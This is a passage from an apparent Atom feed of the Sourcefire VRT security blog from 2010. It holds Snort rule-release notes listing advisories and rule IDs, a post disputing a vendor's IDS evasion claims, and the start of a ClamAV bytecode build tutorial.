type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/5079364174726634269'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/10/rule-release-for-today-thursday-october.html' title='Rule Release for Today, Thursday October 28th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-1698277740930401163</id><published>2010-10-26T17:30:00.000-04:00</published><updated>2010-10-26T17:30:52.406-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday October 26th, 2010</title><content type='html'>Vulnerabilities in Adobe Shockwave Director and Mozilla Firefox. More details here: &lt;a href="http://www.snort.org/vrt/advisories/2010/10/26/vrt-rules-2010-10-26.html"&gt;http://www.snort.org/vrt/advisories/2010/10/26/vrt-rules-2010-10-26.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-1698277740930401163?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/1698277740930401163/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=1698277740930401163' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1698277740930401163'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/1698277740930401163'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/10/rule-release-for-today-tuesday-october_26.html' title='Rule Release for Today, Tuesday October 26th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-224214592021026656</id><published>2010-10-22T17:06:00.001-04:00</published><updated>2010-10-25T06:35:09.300-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Snort'/><category scheme='http://www.blogger.com/atom/ns#' term='Evasions'/><title type='text'>Some Facts About Advanced Evasion Techniques</title><content type='html'>Chances are you've heard the recent "news" about Advanced Evasion Techniques (AETs) from Finnish IPS vendor Stonesoft. Originally announced in an October 4 &lt;a href=http://www.stonesoft.com/en/press_and_media/releases/en/2010/04102010.html&gt;press release&lt;/a&gt;, the good folks at Stonesoft reported the IDS/IPS evasion techniques mentioned in their release to CERT-FI, which promptly issued &lt;a href=http://www.cert.fi/en/reports/2010/vulnerability385726.html&gt;a public statement&lt;/a&gt;. CERT-FI also gave Sourcefire full details on the evasion techniques, allowing us to evaluate their impact on Snort and the Sourcefire 3D system.&lt;br /&gt;&lt;br /&gt;Per our standard vulnerability handling guidelines, Sourcefire is awaiting CERT-FI's release of details to the public - currently planned for November 23 - before discussing the technical nitty-gritty with the world at large. Having conducted in-house testing with the data provided to CERT-FI by Stonesoft, we've found that Snort handles all of the reported AETs nicely, and absent any evidence that large-scale attacks using these techniques are underway, we're toeing the responsible disclosure line and giving other vendors a chance to assess and update their products as necessary.&lt;br /&gt;&lt;br /&gt;Stonesoft, meanwhile, apparently decided to shift gears out of responsible disclosure mode. While their first release generated some local press in Finland, the issue was largely under the international radar, as you would expect for an unverified set of evasions that were currently under investigation by the vendors in question. This past Monday, they issued a second &lt;a href=http://www.stonesoft.com/us/press_and_media/releases/us_english/2010/18102010.html?uri=/us/press_and_media/releases/us_english/index.html&gt;press release&lt;/a&gt;. Put out in conjunction with a &lt;a href=https://www.icsalabs.com/blogs/icsa-labs%E2%80%99-role-stonesoft-discovered-advanced-evasion-techniques&gt;press release&lt;/a&gt; from ICSA Labs which purported to confirm Stonesoft's AET findings, the issue suddenly sprung to international prominence, with a &lt;a href=http://www.thetechherald.com/article.php/201042/6307/Stonesoft-offers-new-details-on-Advanced-Evasion-Techniques?page=2&gt;number&lt;/a&gt; &lt;a href=http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=227900226&gt;of&lt;/a&gt; &lt;a href=http://www.networkworld.com/news/2010/101810-security-vendor-firewalls-defenceless-against.html&gt;articles&lt;/a&gt; heralding the end of IDS/IPS systems' ability to detect even the most mundane attacks. At the same time as this second release, Stonesoft also erected www.antievasion.com, a site full of pretty graphics and hype about AETs.&lt;br /&gt;&lt;br /&gt;The mere existence of this site and the issuance of the second release, of course, is not enough to call them out as having moved away from responsible disclosure; it's the messages contained in those publications that's what does it. In their second press release, Stonesoft included a section titled "Best Defense Against AETs", which suggested the use of "flexible, software-based security systems ... such as the Stonesoft StoneGate network security solution", as opposed to the "static hardware-based solutions" that "most organizations today" use. This clear ploy to drive sales uses an extremely thinly veiled half-truth to sow FUD: while all of the major IDS/IPS vendors (Sourcefire, McAfee, TippingPoint, IBM/ISS, etc.) offer custom hardware platforms as part of their solution, the underlying engines of all of those systems are software-driven, and are updated on a regular basis (typically multiple times per week, if you count detection updates). To suggest, as Stonesoft's first release did, that AETs of any sort will require "extensive renewal of [organizations'] security systems" is to skate on very thin factual ice.&lt;br /&gt;&lt;br /&gt;Half-truths like this are one thing; the outright lies on their Anti-Evasion web site are another. In the &lt;a href=http://www.antievasion.com/principles/faq&gt;FAQ&lt;/a&gt; published there, they claim that "Stonesoft offers the most complete protection against AETs available on the market today". This claim comes despite one of the few well-established facts surrounding the AET mess: Stonesoft &lt;a href=http://crossbeam.workologie.com/wp-content/uploads/NSS-Labs-Group-IPS-Test-Summary.pdf&gt;failed the evasions portion of the NSS Labs test&lt;/a&gt; in 2009. Sorry, you don't get to claim that you're the experts on IDS/IPS evasion if your product isn't up to the task of dealing with well-known, publicly available evasions used in the NSS test.&lt;br /&gt;&lt;br /&gt;Just so you don't think we're throwing stones in a glass house, let me take a moment to point out Sourcefire's track record of dealing with IDS/IPS evasion. Not only were we one of three vendors to pass the 2009 NSS Labs evasions test; we have a long track record of publishing expert research in the field. Snort team lead Steve Sturges and (former) VRT senior researcher Judy Novak published an oft-cited paper entitled &lt;a href=http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.75.7912&amp;rep=rep1&amp;type=pdf&gt;"Target-Based TCP Timestamp Stream Reassembly"&lt;/a&gt; in 2007; Ms. Novak also released &lt;a href="http://webpages.cs.luc.edu/~pld/courses/447/sum08/class3/novak.target_based_frag.pdf"&gt;"Target-Based Fragmentation Reassembly"&lt;/a&gt; in 2005. Brian Caswell, who literally worked in Sourcefire founder Marty Roesch's living room in the original days of Sourcefire, collaborated with H.D. Moore of Metasploit fame on the 2006 paper &lt;a href=http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Caswell.pdf&gt;"Thermoptic Camouflage: Total IDS Evasion"&lt;/a&gt;. The primary author of Snort's http_inspect module, Dan Roelker, wrote &lt;a href=http://docs.idsresearch.org/http_ids_evasions.pdf&gt;"HTTP IDS Evasions Revisited"&lt;/a&gt; way back in 2003. Sourcefire employees and Snort contributors have long been among the world's leading experts in IDS/IPS evasions.&lt;br /&gt;&lt;br /&gt;Of course, anyone with a well-developed sense of cynicism - i.e. the entire network security industry - is likely to take anything Sourcefire says about Stonesoft with a grain of salt. After all, why believe one industry player's version of things over another? To that end, I'd like to finish up this post by pointing you to a very &lt;a href=http://blogs.gartner.com/bob-walder/2010/10/20/storm-in-a-teacup-more-on-advanced-evasion-techniques-aet/&gt;interesting article&lt;/a&gt; released Wednesday by Bob Walder - founder and former CEO of NSS Labs - about the AET issue. Having reviewed Stonesoft's AETs, he concludes that they are a re-hashing of well-known evasion techniques that have been standard in the IDS/IPS industry for the last 7+ years. While Mr. Walder is also toeing the responsible disclosure line, in that he gives no specifics, his credibility as an independent evaluator of network security products is rock-solid, and should carry a lot more weight than anything Sourcefire says.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-224214592021026656?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/224214592021026656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=224214592021026656' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/224214592021026656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/224214592021026656'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/10/some-facts-about-advanced-evasion.html' title='Some Facts About Advanced Evasion Techniques'/><author><name>Alex Kirk</name><uri>http://www.blogger.com/profile/03593625592056536275</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-6477496577119452468</id><published>2010-10-12T13:01:00.000-04:00</published><updated>2010-10-12T13:01:49.452-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday October 12th, 2010</title><content type='html'>Big day for Microsoft patches today. Lots of rules to accompany it.&lt;br /&gt;&lt;br /&gt;Release notes here: &lt;a href="http://www.snort.org/vrt/advisories/2010/10/12/vrt-rules-2010-10-12.html"&gt;http://www.snort.org/vrt/advisories/2010/10/12/vrt-rules-2010-10-12.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Read them here too:&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-070:&lt;br /&gt;The Microsoft .NET Framework discloses enough information in error responses that an attacker is able to decrypt and modify encrypted data.&lt;br /&gt;&lt;br /&gt;Previously released rules to detect attacks targeting this vulnerability have been updated with the appropriate reference and are identified with GID 3, SIDs 17428 and 17429.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-071:&lt;br /&gt;Microsoft Internet Explorer contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 17766 through 17774&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-072:&lt;br /&gt;Microsoft Internet Explorer contains a programming error that may allow a remote attacker to perform a cross-site scripting attack against an affected system.&lt;br /&gt;&lt;br /&gt;Rules to detect attacks targeting this vulnerability are included in this release and are identified with GID 3, SIDs 17766 and 17767.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-075:&lt;br /&gt;Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17753.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-076:&lt;br /&gt;Microsoft Internet Explorer contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17747.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-078:&lt;br /&gt;The Microsoft implementation for parsing OpenType fonts contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Rules to detect attacks targeting this vulnerability are included in this release and are identified with GID 3, SIDs 17752 and 17765.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-079:&lt;br /&gt;Microsoft Word contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17756.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-080:&lt;br /&gt;Microsoft Excel contains programming errors that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Rules to detect attacks targeting these vulnerabilities are included in this release and are identified with GID 3, SIDs 17757 through 17764.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-083:&lt;br /&gt;Microsoft Windows Media Player Firefox plugin contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17773.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-085:&lt;br /&gt;Microsoft IIS contains a programming error that may allow a remote attacker to cause a Denial of Service (DoS) against an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17750.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-6477496577119452468?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/6477496577119452468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=6477496577119452468' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6477496577119452468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/6477496577119452468'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/10/rule-release-for-today-tuesday-october.html' title='Rule Release for Today, Tuesday October 12th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7579506803250267459</id><published>2010-09-27T17:08:00.000-04:00</published><updated>2010-09-27T17:08:30.676-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Monday September 27th, 2010</title><content type='html'>We've added and modified multiple rules in the chat, dns, exploit, ftp, imap, misc, netbios, oracle, policy, pop3, rpc, specific-threats sql, tftp, web-activex, web-client and web-misc rule sets.&lt;br /&gt;&lt;br /&gt;Get it: &lt;a href="http://www.snort.org/vrt/advisories/2010/09/27/vrt-rules-2010-09-27.html/"&gt;http://www.snort.org/vrt/advisories/2010/09/27/vrt-rules-2010-09-27.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7579506803250267459?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7579506803250267459/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7579506803250267459' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7579506803250267459'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7579506803250267459'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/rule-release-for-today-monday-september.html' title='Rule Release for Today, Monday September 27th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2612913751754676567</id><published>2010-09-23T15:23:00.000-04:00</published><updated>2010-09-23T15:23:02.541-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Thursday September 23rd, 2010</title><content type='html'>Microsoft .NET Framework Information Disclosure (CVE-2010-3332):&lt;br /&gt;The Microsoft .NET Framework discloses enough information in error responses that an attacker is able to decrypt and modify encrypted data. The attacker is also able to forge cookies and obtain application files via an Oracle padding attack.&lt;br /&gt;&lt;br /&gt;Get some: &lt;a href="http://www.snort.org/vrt/advisories/2010/09/23/vrt-rules-2010-09-23.html"&gt;http://www.snort.org/vrt/advisories/2010/09/23/vrt-rules-2010-09-23.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2612913751754676567?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2612913751754676567/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2612913751754676567' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2612913751754676567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2612913751754676567'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/rule-release-for-today-thursday_23.html' title='Rule Release for Today, Thursday September 23rd, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-7156485316257745019</id><published>2010-09-21T17:00:00.000-04:00</published><updated>2010-09-21T17:00:50.152-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday September 21st, 2010</title><content type='html'>Maintenance release this one. Quite a few modifications and additions.&lt;br /&gt;&lt;br /&gt;Check it out here &lt;a href="http://www.snort.org/vrt/advisories/2010/09/21/vrt-rules-2010-09-21.html"&gt;http://www.snort.org/vrt/advisories/2010/09/21/vrt-rules-2010-09-21.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-7156485316257745019?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/7156485316257745019/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=7156485316257745019' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7156485316257745019'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/7156485316257745019'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/rule-release-for-today-tuesday_21.html' title='Rule Release for Today, Tuesday September 21st, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8916111375642853698</id><published>2010-09-14T13:47:00.000-04:00</published><updated>2010-09-14T13:47:19.627-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday September 14th, 2010</title><content type='html'>Microsoft Security Advisory MS10-061:&lt;br /&gt;The Microsoft Windows Print Spooler service contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Rules to detect attacks targeting this vulnerability is included in this release and are identified with GID 3, SIDs 17252 and 17253.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-062:&lt;br /&gt;Microsoft Windows Media Player contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17242.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-063:&lt;br /&gt;Microsoft Windows XP and Vista contain a programming error that may allow a remote attacker to execute code on an affected system via the use of specially crafted Uniscribe fonts.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17256.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-064:&lt;br /&gt;Microsoft Outlook contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17251.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-065:&lt;br /&gt;Microsoft Internet Information Server (IIS) contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;Rules to detect attacks targeting this vulnerability is included in this release and are identified with GID 3, SIDs 17254 and 17255.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-067:&lt;br /&gt;Microsoft WordPad contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17250.&lt;br /&gt;&lt;br /&gt;Microsoft Security Advisory MS10-068:&lt;br /&gt;Microsoft LSASS contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 3, SID 17249.&lt;br /&gt;&lt;br /&gt;Adobe Security Bulletin APSA10-03:&lt;br /&gt;Adobe Flash Player contains a programming error that may allow a remote attacker to execute code on an affected system.&lt;br /&gt;&lt;br /&gt;A rule to detect attacks targeting this vulnerability is included in this release and is identified with GID 1, SID 17257.&lt;br /&gt;&lt;br /&gt;Check it out here: &lt;a href="http://www.snort.org/vrt/advisories/2010/09/14/vrt-rules-2010-09-14.html"&gt;http://www.snort.org/vrt/advisories/2010/09/14/vrt-rules-2010-09-14.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-8916111375642853698?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/8916111375642853698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=8916111375642853698' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8916111375642853698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/8916111375642853698'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/rule-release-for-today-tuesday_14.html' title='Rule Release for Today, Tuesday September 14th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-3608423206096029073</id><published>2010-09-09T17:38:00.000-04:00</published><updated>2010-09-09T17:38:38.919-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Thursday September 9th, 2010</title><content type='html'>Adobe Acrobat Reader and Adobe Acrobat contains a programming error that may allow a remote attacker to execute code on an affected system. The problem occurs when parsing TrueType font data.&lt;br /&gt;&lt;br /&gt;More info: &lt;a href="http://www.snort.org/vrt/advisories/2010/09/09/vrt-rules-2010-09-09.html"&gt;http://www.snort.org/vrt/advisories/2010/09/09/vrt-rules-2010-09-09.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-3608423206096029073?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/3608423206096029073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=3608423206096029073' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3608423206096029073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/3608423206096029073'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/rule-release-for-today-thursday.html' title='Rule Release for Today, Thursday September 9th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-2647411931284105113</id><published>2010-09-07T20:47:00.000-04:00</published><updated>2010-09-07T20:47:23.874-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Rules'/><title type='text'>Rule Release for Today, Tuesday September 7th, 2010</title><content type='html'>Additions and modifications to the policy, specific-threats and web-client rule sets.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1029833275466591797-2647411931284105113?l=vrt-blog.snort.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vrt-blog.snort.org/feeds/2647411931284105113/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1029833275466591797&amp;postID=2647411931284105113' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2647411931284105113'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1029833275466591797/posts/default/2647411931284105113'/><link rel='alternate' type='text/html' href='http://vrt-blog.snort.org/2010/09/rule-release-for-today-tuesday.html' title='Rule Release for Today, Tuesday September 7th, 2010'/><author><name>Nigel Houghton</name><uri>http://www.blogger.com/profile/11599266012164775142</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Mw9WV6qG-BY/SSrnMflI5VI/AAAAAAAAABo/bVCkKIU8zWs/S220/nigelphoto.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1029833275466591797.post-8563290970786003559</id><published>2010-09-07T20:45:00.003-04:00</published><updated>2010-09-09T10:23:48.370-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ClamAV'/><title type='text'>Introduction to ClamAV's Low Level Virtual Machine (LLVM)</title><content type='html'>Users of prior versions of ClamAV may have noticed a drastic increase in the size of the tarball with the introduction of 0.96. This is due to the addition of a bytecode interpreter, and a JIT Low Level Virtual Machine (&lt;a href="http://llvm.org/"&gt;LLVM&lt;/a&gt;). It greatly extends ClamAV detection capabilities by being able to interpret/execute bytecode. Not a lot of documentation exists as yet about how to write bytecode for ClamAV and take advantage of the tremendous flexibility it offers (I will try to fix that). If you want to write your own bytecode for ClamAV, you will need to configure ClamAV to allow it to load unsigned bytecode (bytecode shipped by ClamAV is digitally signed, and by default only signed bytecode is loaded).&lt;br /&gt;&lt;br /&gt;If you already have ClamAV installed, even the latest version, you will have to remove it:&lt;br /&gt;&lt;pre&gt;sudo make uninstall&lt;/pre&gt;(Alternatively you can keep your existing ClamAV installed, and just build a new ClamAV without installing it.) &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Get the latest version of ClamAV &lt;a href="http://www.clamav.net/download/sources/"&gt;here&lt;/a&gt;. Untar the archive and run the commands&lt;br /&gt;&lt;pre&gt;./configure --enable-unsigned-bytecode &amp;amp;&amp;amp; make &amp;amp;&amp;amp; sudo make install&lt;/pre&gt;Note the configure option &lt;i&gt;--enable-unsigned-bytecode&lt;/i&gt;. Without it, ClamAV will refuse to load your custom bytecode and produce this warning:&lt;br /&gt;&lt;pre&gt;LibClamAV Warning: Only loading signed bytecode, skipping load of unsigned bytecode!&lt;/pre&gt;Now get the bytecode compiler by running the command &lt;pre&gt;git clone git://git.clamav.net/git/clamav-bytecode-compiler&lt;/pre&gt;This will create a folder called &lt;i&gt;clamav-bytecode-compiler &lt;/i&gt;that contains everything needed to compile ClamAV bytecode, including documentation in the subfolder &lt;i&gt;doc&lt;/i&gt; (the latest compiler documentation can always be accessed &lt;a 